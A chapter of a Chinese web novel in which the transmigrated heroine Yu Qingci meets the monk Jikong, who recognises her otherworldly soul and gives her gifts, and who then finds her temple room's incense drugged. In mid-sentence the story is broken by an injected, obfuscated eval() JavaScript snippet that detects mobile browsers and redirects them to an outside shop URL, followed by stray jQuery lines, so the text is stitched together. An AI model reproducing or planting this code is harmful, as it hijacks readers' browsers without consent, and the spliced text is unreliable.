喻清词美眸微动,这“涅槃”之签,恐怕真有一些内幕。
她微微思索片刻,便有了主意。
“有劳小师父稍等片刻。”
喻清词转头看向茯苓和芍药,低声吩咐道:“茯苓你去关注着其他厢房的动静,一举一动都要留意上,芍药你留在屋内守着,若是有人来找,你就说我今日甚是疲惫,想要午休,早早便歇下了,切莫让任何人进来,我去去就回。”
芍药和茯苓对视一眼,眼中流露出担心,但最终还是点头:“小姐,您一个人注意安全,实在不行让鸦青跟着您。”
喻清词摇了摇头,轻拍她们安抚:“放心吧,寂空师父若是想对我不利,大可不必现在让我亲自前去,直接在大殿上说我命格不祥便好,你们守好这里。”
喻清词换上一件颜色浅淡的衣裙,轻轻打开厢房的后门。
只见一位身着僧衣的小师父,正站在后面树荫之下,与喻清词对视后,恭敬行礼。
“喻施主,请随小僧来。”
小沙弥虚云低声开口,随后转身往深处的小道走去。
喻清词连忙跟上,两人一前一后缓缓走着,穿过大殿的长廊和厢房,一路上竟看不见任何香客。
走了约一盏茶的时间,小沙弥停下了脚步,只见一片竹林映入眼帘,竹叶轻轻摇晃着,鹅暖小道悠长,缓缓深入竹林。
“喻施主,师父在竹林深处的‘听竹轩’,前路施主需独行,小僧在此等候。”
小沙弥虚云抬手指了指竹林的方向,退到一旁。
喻清词行礼道谢,抬起脚踏入鹅暖石小道,往竹林深处走去。
竹影深深,清风吹拂着,让竹叶发出沙沙的响声,喻清词沿着鹅暖小道走了一会儿,不久便看到一座简单但不缺精致的竹林小阁,一个身影静静的端坐在阁中。
她轻轻走到阁前,刚踏上台阶,端坐的寂空师父睁开眼,目光清透且平和:“喻施主,请坐。”
喻清词恭敬行礼后端坐在寂空师父对面的铺垫之上。
“刚泡的清茶,尝一尝?”
喻清词依言端起面前的茶盏,刚放到鼻前便闻到阵阵竹叶的清香,茶水入口也有淡淡香气。
寂空师父淡淡笑着,为喻清词续上一杯清茶后,便开门见山道:“今日的签文,贫道只说了一半。‘涅槃’之签确实非比寻常,此签出现多为命格多舛之象。”
“但是,喻施主…”
他顿了顿,抿了抿茶杯的清茶,平和的目光与喻清词对视着:“‘死生往复,生死自渡’,这八个字若是落到他人身上,或许是大难不死,劫后余生,但是您…魂魄有异,并非此间之态,恐怕又另一层含义。”
喻清词握着茶盏的手微微攥紧,面上依旧不动声色,淡淡的笑容已经带着寒意:“寂空师父所言何意?”
竹林的清风徐来,喻清词平静的目光注视着面前的寂空,如果他真的算到了,并且可以保守秘密,那一切都无所谓,若是不能保证,她不介意用另一种方式让他安静。
寂空师父轻轻笑了笑:“喻施主不必惊慌,贫道修行数十载,观星相,解命理,算魂魄气运。初见喻施主之时,便觉得魂魄有淡淡的金光并且有隔世之韵,虽然与肉身的融合已无大碍,但并非浑然天成之所得。”
“此情此景,贫道曾经在古书上所见,乃‘异魂宿生’,多出现于灵魂轮回或时空错乱之象。”
寂空看着喻清词,眼中带着了然:“今日后面的签文,并不是原签所有,是贫道观你命格气运,临时所得。”
“我观施主并非是困于后宅的女子命格,施主心中所藏,眼中所见,都恐是常人所能比拟的。你来此世间,必有缘由,也定有你所行所需之路。”
喻清词沉默良久,眼神从一开始的困惑到如今的坦然。寂空的话,可以说是点开了她多大的秘密,在这个时代之下,可以说是妖言惑众之言,但他的态度……
“师父,您不惧吗?”
喻清词端起茶盏抿了一口,轻轻笑着开口。
寂空摇头,微微一笑:“佛法无边,世间万千,此间万象,均缘由天定。魂魄来处,皆有因果。”
“贫道观喻施主心境澄明,并无污邪之气,只有不属于这世间的智慧与困惑…”
“施主,此命格特殊,贫道也无法观得是福是祸,‘生死自渡’主要在一个‘自’,莫要太多感怀。”
说着拿出两个檀木盒子,推到喻清词面前:“右边木盒,此中是两枚平安扣红绳,一枚赠予喻施主,另外一枚…施主心中定知赠予谁,可保两位平安,寻常魍魉难近身。”
喻清词抬手打开其中一个檀木盒,里面躺着两条精致的红绳,上面镶嵌着一枚清透的平安扣,一枚墨翠色,一枚烟紫色。
寂空接着开口:“至于另外一个…”
寂空的手轻轻拂过另一个盒子,但没有立即打开,目光看向喻清词,与她久久对视,眼中包含着深意。
“此物并不是贫道赠予喻施主是,而是留给‘将来’的。”
他的语气低沉了不少:“当喻施主行至迷雾深处,又或者面临进退两难之时,方可打开…或许,可以给施主一线前路。”
喻清词目光定定的看着另一个木盒,盒木光滑,没有一丝雕刻,心中荡起感激,寂空师父点破了她最大的秘密,但无揭穿之意,并且还赠礼相助,至少眼下没有恶意。
她缓缓从铺垫上起身,抬起双手,恭恭敬敬的行礼:“多谢寂空师父指点迷津,馈赠厚礼,喻清词…谨记。”
寂空师父微微一笑,双手合十回礼:“阿弥陀佛,喻施主是有福缘的聪慧之人,贫道不过是顺应天意。”
“但贫道还要多嘴一句,喻姑娘,俗世重开一局,莫困前人棋。此间天高海阔,落子皆由你。”
喻清词愣了愣,他明白寂空师父的话,莫要一直困在原主的记忆和情感之中,现在的一切不仅仅属于原主,也属于现在的她。
看透喻清词的表情,寂空师父合掌再次开口:“今日之事,出我口,入你耳,入此山林,便止于此间。贫道即刻便要闭关清修,短期内不再见客,虚云会送你回去。”
寂空此话,便是送客,也是表示保密。
喻清词端端正正的回礼,将两个檀木盒子拿起:“师父保重。”
她转身走了几步,突然想到什么似的回过头:“师父,我…”
“喻姑娘,你所执念的,必如檐下铜铃,起于风,终于风——待风歇时,便是天地清明,你心澄静。”
寂空端坐在铺垫中,打断了喻清词想说的话,笑着注视着她。
竹林清风徐来,沙沙作响,更显悠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011745|193398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长。
喻清词缓缓沿着鹅暖石小道往竹林外走去,清风吹过她的脸颊,带着清润和凉意。
竹林外,虚云果然还站在原处等待着,见喻清词走出来,也不开口询问,微微行礼后,默默的在前面带路。
突然,一道身影出现在喻清词面前,语气快速道:“小姐,有情况!”
喻清词第一时间抱紧怀中的盒子,定眼一看:鸦青!
“怎么了?”
“回小姐,您离开后,有僧人来厢房换香灰,芍药没有让僧人进,而是接过新香自行去换的,可是换完没多久,芍药就发现香气不对,里面被掺杂了男女合欢之物!”
喻清词听闻,眉头紧皱,连忙问:“芍药怎么样?”
鸦青忙答:“芍药并无大碍,她反应及时吹灭了熏香,昏迷前给自己扎了针,我安排了茯苓在照料她。”
喻清词美眸一沉,眼底掠过寒光。
“僧人?”
她手指轻轻拂过木盒,声音带着不容小觑的寒意:“可知是哪个院落的僧人吗?”
“是普贤院的一位小僧,普济寺每日都需给所有贵客厢房更换开光后的新香。”鸦青严肃道。
喻清词看向前方等待的虚云,问道:“虚云师父,普济寺是每日都需要给厢房换新香是吗?可知是何人负责的?”
虚云面上疑惑,但还是开口道:“阿弥陀佛,回施主,普济寺确实有此惯例。每日早晨与傍晚都会安排僧人将开光后的新香送至厢房更换,以示清净…至于负责之人…”
他稍作停顿:“此事由各院执事僧负责,今日小僧不在院内,并不知晓当值之人。”
喻清词指尖轻轻划着木盒:“有劳小师父了,那我便随侍女回厢房了。”
虚云双手合十,行礼后离去。
喻清词打开装有平安扣的木盒,拿起镶嵌烟紫色平安扣的那一条红绳,轻轻带在自己的右手上,随后将两个木盒递给鸦青。
“我先回去,你帮我把这两个盒子收好,莫要给别人看见。”喻清词面上严肃的和鸦青吩咐道。
鸦青郑重的接过,担忧的问道:“小姐,您要回厢房?这太危险了!”
喻清词拍了拍她的肩膀:“他们这次若是失败了,定会有下一次,与其等着他们下一次再出手,不如看看他们打什么算盘。”
鸦青还想说些什么,喻清词拉住她:“放心,我不会做没有把握的事情。”
“小姐当心,属下将盒子交给茯苓便赶来保护您。”
“你也当心。”
喻清词目送着鸦青往另外一边赶去,随后理了理裙摆,缓缓往自己的厢房走去。
站定在厢房外,喻清词眉头微微皱起,眼中带着寒意:“007,把我买的初级解毒丸给我。”
【正在为宿主提取物品,提取成功,已扣除功德点。】
一颗黑色的药丸凭空出现在喻清词的手掌:“007,这个可以解厢房内的毒吧。”
007奶声奶气的声音里夹杂着骄傲:【这当然,虽然是初级的,但是对付这种拿不出手的普通毒药,绰绰有余。】
喻清词轻轻点头,将药丸放入口中,吞了下去,随后推开厢房的木门,走到熏香炉前,抬手点燃。
烛芯轻燃,一缕幽香袅袅升起,慢慢在厢房内散发。